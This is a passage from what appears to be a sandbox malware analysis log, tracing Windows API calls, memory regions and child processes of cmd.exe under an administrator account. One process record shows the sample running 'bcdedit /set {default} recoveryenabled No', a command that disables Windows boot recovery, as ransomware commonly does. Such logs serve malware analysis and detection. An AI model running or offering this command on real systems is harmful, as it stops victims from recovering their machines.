lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x9, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x4, lpData=0xae4303e650*=0x9, lpcbData=0xae4303e634*=0x4) returned 0x0 [0030.944] RegQueryValueExW (in: hKey=0x30, lpValueName="AutoRun", lpReserved=0x0, lpType=0xae4303e630, lpData=0xae4303e650, lpcbData=0xae4303e634*=0x1000 | out: lpType=0xae4303e630*=0x0, lpData=0xae4303e650*=0x9, lpcbData=0xae4303e634*=0x1000) returned 0x2 [0030.944] RegCloseKey (hKey=0x30) returned 0x0 [0030.944] time (in: timer=0x0 | out: timer=0x0) returned 0x5989d262 [0030.944] srand (_Seed=0x5989d262) [0030.944] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 9538298\"" [0030.944] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 9538298\"" [0030.944] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.944] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xae43266730, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0030.945] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.945] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0030.945] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0030.945] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.945] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0030.945] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0030.945] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0030.945] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0030.945] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0030.945] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0030.945] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0030.945] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0030.945] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0030.945] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xae4303f440 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", nBufferLength=0x104, lpBuffer=0xae4303f440, lpFilePart=0xae4303f420 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xae4303f420*="Desktop") returned 0x1c [0030.945] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.945] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xae4303f150 | out: lpFindFileData=0xae4303f150) returned 0xae432669a0 [0030.945] FindClose (in: hFindFile=0xae432669a0 | out: hFindFile=0xae432669a0) returned 1 [0030.945] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp", lpFindFileData=0xae4303f150 | out: lpFindFileData=0xae4303f150) returned 0xae432669a0 [0030.945] FindClose (in: hFindFile=0xae432669a0 | out: hFindFile=0xae432669a0) returned 1 [0030.945] _wcsnicmp (_String1="5JGHKO~1", _String2="5JgHKoaOfdp", _MaxCount=0xb) returned 29 [0030.945] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFindFileData=0xae4303f150 | out: lpFindFileData=0xae4303f150) returned 0xae432669a0 [0030.945] FindClose (in: hFindFile=0xae432669a0 | out: hFindFile=0xae432669a0) returned 1 [0030.945] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0030.946] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0030.946] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 1 [0030.946] GetEnvironmentStringsW () returned 0xae432648f0* [0030.946] FreeEnvironmentStringsA (penv="=") returned 1 [0030.946] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x7ff62317a160 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0030.946] GetConsoleOutputCP () returned 0x1b5 [0030.972] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.972] GetUserDefaultLCID () returned 0x409 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff62317e680, cchData=8 | out: lpLCData=":") returned 2 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xae4303f570, cchData=128 | out: lpLCData="0") returned 2 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xae4303f570, cchData=128 | out: lpLCData="0") returned 2 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xae4303f570, cchData=128 | out: lpLCData="1") returned 2 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff62317e8b0, cchData=8 | out: lpLCData="/") returned 2 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff62317e8e0, cchData=32 | out: lpLCData="Mon") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff62317e920, cchData=32 | out: lpLCData="Tue") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff62317e960, cchData=32 | out: lpLCData="Wed") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff62317e6a0, cchData=32 | out: lpLCData="Thu") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff62317e6e0, cchData=32 | out: lpLCData="Fri") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff62317e9a0, cchData=32 | out: lpLCData="Sat") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff62317e9e0, cchData=32 | out: lpLCData="Sun") returned 4 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff62317e690, cchData=8 | out: lpLCData=".") returned 2 [0030.973] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff62317e8c0, cchData=8 | out: lpLCData=",") returned 2 [0030.973] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0030.974] GetConsoleTitleW (in: lpConsoleTitle=0xae432649a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.974] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.974] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CopyFileExW") returned 0x7ffe2a65e954 [0030.974] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsDebuggerPresent") returned 0x7ffe2a6434dc [0030.974] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffe2a0836f8 [0030.975] _wcsicmp (_String1="title", _String2=")") returned 75 [0030.975] _wcsicmp (_String1="FOR", _String2="title") returned -14 [0030.975] _wcsicmp (_String1="FOR/?", _String2="title") returned -14 [0030.975] _wcsicmp (_String1="IF", _String2="title") returned -11 [0030.975] _wcsicmp (_String1="IF/?", _String2="title") returned -11 [0030.975] _wcsicmp (_String1="REM", _String2="title") returned -2 [0030.975] _wcsicmp (_String1="REM/?", _String2="title") returned -2 [0030.975] GetConsoleTitleW (in: lpConsoleTitle=0xae4303f460, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.976] _wcsicmp (_String1="title", _String2="DIR") returned 16 [0030.976] _wcsicmp (_String1="title", _String2="ERASE") returned 15 [0030.976] _wcsicmp (_String1="title", _String2="DEL") returned 16 [0030.976] _wcsicmp (_String1="title", _String2="TYPE") returned -16 [0030.976] _wcsicmp (_String1="title", _String2="COPY") returned 17 [0030.976] _wcsicmp (_String1="title", _String2="CD") returned 17 [0030.976] _wcsicmp (_String1="title", _String2="CHDIR") returned 17 [0030.976] _wcsicmp (_String1="title", _String2="RENAME") returned 2 [0030.976] _wcsicmp (_String1="title", _String2="REN") returned 2 [0030.976] _wcsicmp (_String1="title", _String2="ECHO") returned 15 [0030.976] _wcsicmp (_String1="title", _String2="SET") returned 1 [0030.976] _wcsicmp (_String1="title", _String2="PAUSE") returned 4 [0030.976] _wcsicmp (_String1="title", _String2="DATE") returned 16 [0030.976] _wcsicmp (_String1="title", _String2="TIME") returned 7 [0030.976] _wcsicmp (_String1="title", _String2="PROMPT") returned 4 [0030.976] _wcsicmp (_String1="title", _String2="MD") returned 7 [0030.976] _wcsicmp (_String1="title", _String2="MKDIR") returned 7 [0030.976] _wcsicmp (_String1="title", _String2="RD") returned 2 [0030.976] _wcsicmp (_String1="title", _String2="RMDIR") returned 2 [0030.976] _wcsicmp (_String1="title", _String2="PATH") returned 4 [0030.976] _wcsicmp (_String1="title", _String2="GOTO") returned 13 [0030.976] _wcsicmp (_String1="title", _String2="SHIFT") returned 1 [0030.976] _wcsicmp (_String1="title", _String2="CLS") returned 17 [0030.976] _wcsicmp (_String1="title", _String2="CALL") returned 17 [0030.976] _wcsicmp (_String1="title", _String2="VERIFY") returned -2 [0030.976] _wcsicmp (_String1="title", _String2="VER") returned -2 [0030.976] _wcsicmp (_String1="title", _String2="VOL") returned -2 [0030.976] _wcsicmp (_String1="title", _String2="EXIT") returned 15 [0030.976] _wcsicmp (_String1="title", _String2="SETLOCAL") returned 1 [0030.976] _wcsicmp (_String1="title", _String2="ENDLOCAL") returned 15 [0030.976] _wcsicmp (_String1="title", _String2="TITLE") returned 0 [0030.977] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xae4303efb8 | out: TokenHandle=0xae4303efb8*=0x0) returned 0xc000007c [0030.977] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xae4303efb8 | out: TokenHandle=0xae4303efb8*=0x3c) returned 0x0 [0030.977] NtQueryInformationToken (in: TokenHandle=0x3c, TokenInformationClass=0x12, TokenInformation=0xae4303ef68, TokenInformationLength=0x4, ReturnLength=0xae4303ef70 | out: TokenInformation=0xae4303ef68, ReturnLength=0xae4303ef70) returned 0x0 [0030.977] NtQueryInformationToken (in: TokenHandle=0x3c, TokenInformationClass=0x1a, TokenInformation=0xae4303ef70, TokenInformationLength=0x4, ReturnLength=0xae4303ef68 | out: TokenInformation=0xae4303ef70, ReturnLength=0xae4303ef68) returned 0x0 [0030.977] NtClose (Handle=0x3c) returned 0x0 [0030.977] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xae4303ef80, nSize=0x0, Arguments=0xae4303ef88 | out: lpBuffer="仐䌦®") returned 0xf [0030.978] SetConsoleTitleW (lpConsoleTitle="Administrator: 9538298") returned 1 [0030.978] LocalFree (hMem=0xae43264ed0) returned 0x0 [0030.978] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.978] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 0 [0030.978] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.978] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 0 [0030.978] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.978] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.978] SetConsoleInputExeNameW () returned 0x1 [0030.978] GetConsoleOutputCP () returned 0x1b5 [0030.979] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.979] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.979] exit (_Code=0) Process: id = "14" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x9d1f000" os_pid = "0x874" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x9a8" cmd_line = "bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1259 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1260 start_va = 0x2450310000 end_va = 0x245032ffff entry_point = 0x0 region_type = private name = "private_0x0000002450310000" filename = "" Region: id = 1261 start_va = 0x2450330000 end_va = 0x245033efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002450330000" filename = "" Region: id = 1262 start_va = 0x2450340000 end_va = 0x24503bffff entry_point = 0x0 region_type = private name = "private_0x0000002450340000" filename = "" Region: id = 1263 start_va = 0x24503c0000 end_va = 0x24503c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000024503c0000" filename = "" Region: id = 1264 start_va = 0x24503d0000 end_va = 0x24503d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000024503d0000" filename = "" Region: id = 1265 start_va = 0x24503e0000 end_va = 0x24503e1fff entry_point = 0x0 region_type = private name = "private_0x00000024503e0000" filename = "" Region: id = 1266 start_va = 0x7ff695250000 end_va = 0x7ff695272fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff695250000" filename = "" Region: id = 1267 start_va = 0x7ff69527d000 end_va = 0x7ff69527efff entry_point = 0x0 region_type = private name = "private_0x00007ff69527d000" filename = "" Region: id = 1268 start_va = 0x7ff69527f000 end_va = 0x7ff69527ffff entry_point = 0x0 region_type = private name = "private_0x00007ff69527f000" filename = "" Region: id = 1269 start_va = 0x7ff695300000 end_va = 0x7ff695357fff entry_point = 0x7ff695300000 region_type = mapped_file name = "bcdedit.exe" filename = "\\Windows\\System32\\bcdedit.exe" (normalized: "c:\\windows\\system32\\bcdedit.exe") Region: id = 1270 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1332 start_va = 0x24505a0000 end_va = 0x245069ffff entry_point = 0x0 region_type = private name = "private_0x00000024505a0000" filename = "" Region: id = 1333 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1334 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Thread: id = 112 os_tid = 0x518 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x65d89000" os_pid = "0x8fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" title 4180649\"" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1272 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1273 start_va = 0xa1fdb0000 end_va = 0xa1fdcffff entry_point = 0x0 region_type = private name = "private_0x0000000a1fdb0000" filename = "" Region: id = 1274 start_va = 0xa1fdd0000 end_va = 0xa1fddefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000a1fdd0000" filename = "" Region: id = 1275 start_va = 0xa1fde0000 end_va = 0xa1fedffff entry_point = 0x0 region_type = private name = "private_0x0000000a1fde0000" filename = "" Region: id = 1276 start_va = 0xa1fee0000 end_va = 0xa1fee3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000a1fee0000" filename = "" Region: id = 1277 start_va = 0xa1fef0000 end_va = 0xa1fef0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000a1fef0000" filename = "" Region: id = 1278 start_va = 0xa1ff00000 end_va = 0xa1ff01fff entry_point = 0x0 region_type = private name = "private_0x0000000a1ff00000" filename = "" Region: id = 1279 start_va = 0x7ff622980000 end_va = 0x7ff6229a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622980000" filename = "" Region: id = 1280 start_va = 0x7ff6229a6000 end_va = 0x7ff6229a6fff entry_point = 0x0 region_type = private name = "private_0x00007ff6229a6000" filename = "" Region: id = 1281 start_va = 0x7ff6229ae000 end_va = 0x7ff6229affff entry_point = 0x0 region_type = private name = "private_0x00007ff6229ae000" filename = "" Region: id = 1282 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff6231465b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1283 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1314 start_va = 0xa200f0000 end_va = 0xa201effff entry_point = 0x0 region_type = private name = "private_0x0000000a200f0000" filename = "" Region: id = 1315 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1316 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1343 start_va = 0xa1fdb0000 end_va = 0xa1fdbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000a1fdb0000" filename = "" Region: id = 1344 start_va = 0xa1fdc0000 end_va = 0xa1fdc6fff entry_point = 0x0 region_type = private name = "private_0x0000000a1fdc0000" filename = "" Region: id = 1345 start_va = 0xa1ff10000 end_va = 0xa1ff8dfff entry_point = 0xa1ff10000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1346 start_va = 0xa20380000 end_va = 0xa2038ffff entry_point = 0x0 region_type = private name = "private_0x0000000a20380000" filename = "" Region: id = 1347 start_va = 0x7ff622880000 end_va = 0x7ff62297ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622880000" filename = "" Region: id = 1348 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Thread: id = 113 os_tid = 0x90c [0030.899] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff623140000 [0030.899] __set_app_type (_Type=0x1) [0030.899] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff62315ace0) returned 0x0 [0030.899] __getmainargs (in: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730, _DoWildCard=0, _StartInfo=0x7ff62316d0c4 | out: _Argc=0x7ff62317e724, _Argv=0x7ff62317e728, _Env=0x7ff62317e730) returned 0 [0030.899] GetCurrentThreadId () returned 0x90c [0030.899] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x90c) returned 0x24 [0030.899] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe2a640000 [0030.899] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadUILanguage") returned 0x7ffe2a6431d8 [0030.899] SetThreadUILanguage (LangId=0x0) returned 0x409 [0030.920] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0030.920] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa1fedfd78 | out: phkResult=0xa1fedfd78*=0x0) returned 0x2 [0030.920] VirtualQuery (in: lpAddress=0xa1fedfd64, lpBuffer=0xa1fedfce0, dwLength=0x30 | out: lpBuffer=0xa1fedfce0*(BaseAddress=0xa1fedf000, AllocationBase=0xa1fde0000, AllocationProtect=0x4, __alignment1=0xa, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.920] VirtualQuery (in: lpAddress=0xa1fde0000, lpBuffer=0xa1fedfce0, dwLength=0x30 | out: lpBuffer=0xa1fedfce0*(BaseAddress=0xa1fde0000, AllocationBase=0xa1fde0000, AllocationProtect=0x4, __alignment1=0xa, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.920] VirtualQuery (in: lpAddress=0xa1fde1000, lpBuffer=0xa1fedfce0, dwLength=0x30 | out: lpBuffer=0xa1fedfce0*(BaseAddress=0xa1fde1000, AllocationBase=0xa1fde0000, AllocationProtect=0x4, __alignment1=0xa, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.920] VirtualQuery (in: lpAddress=0xa1fde4000, lpBuffer=0xa1fedfce0, dwLength=0x30 | out: lpBuffer=0xa1fedfce0*(BaseAddress=0xa1fde4000, AllocationBase=0xa1fde0000, AllocationProtect=0x4, __alignment1=0xa, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0030.921] VirtualQuery (in: lpAddress=0xa1fee0000, lpBuffer=0xa1fedfce0, dwLength=0x30 | out: lpBuffer=0xa1fedfce0*(BaseAddress=0xa1fee0000, AllocationBase=0xa1fee0000, AllocationProtect=0x2, __alignment1=0xa, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0030.921] GetConsoleOutputCP () returned 0x1b5 [0030.942] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0030.942] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6231662a4, Add=1) returned 1 [0030.942] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.942] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x0) returned 0 [0030.942] _get_osfhandle (_FileHandle=1) returned 0x1c [0030.942] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 0 [0030.942] _get_osfhandle (_FileHandle=0) returned 0x18 [0030.942] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0030.953] GetEnvironmentStringsW () returned 0xa200f48f0* [0030.953] FreeEnvironmentStringsA (penv="=") returned 1 [0030.953] GetEnvironmentStringsW () returned 0xa200f48f0* [0030.953] FreeEnvironmentStringsA (penv="=") returned 1 [0030.953] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa1fedec28 | out: phkResult=0xa1fedec28*=0x30) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x0, lpData=0xa1fedec40*=0x0, lpcbData=0xa1fedec24*=0x1000) returned 0x2 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x1, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x0, lpData=0xa1fedec40*=0x1, lpcbData=0xa1fedec24*=0x1000) returned 0x2 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x0, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x40, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x40, lpcbData=0xa1fedec24*=0x4) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x0, lpData=0xa1fedec40*=0x40, lpcbData=0xa1fedec24*=0x1000) returned 0x2 [0030.954] RegCloseKey (hKey=0x30) returned 0x0 [0030.954] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa1fedec28 | out: phkResult=0xa1fedec28*=0x30) returned 0x0 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x0, lpData=0xa1fedec40*=0x40, lpcbData=0xa1fedec24*=0x1000) returned 0x2 [0030.954] RegQueryValueExW (in: hKey=0x30, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa1fedec20, lpData=0xa1fedec40, lpcbData=0xa1fedec24*=0x1000 | out: lpType=0xa1fedec20*=0x4, lpData=0xa1fedec40*=0x1, lpcbData=0xa1fedec24*=0x4) returned 0x0 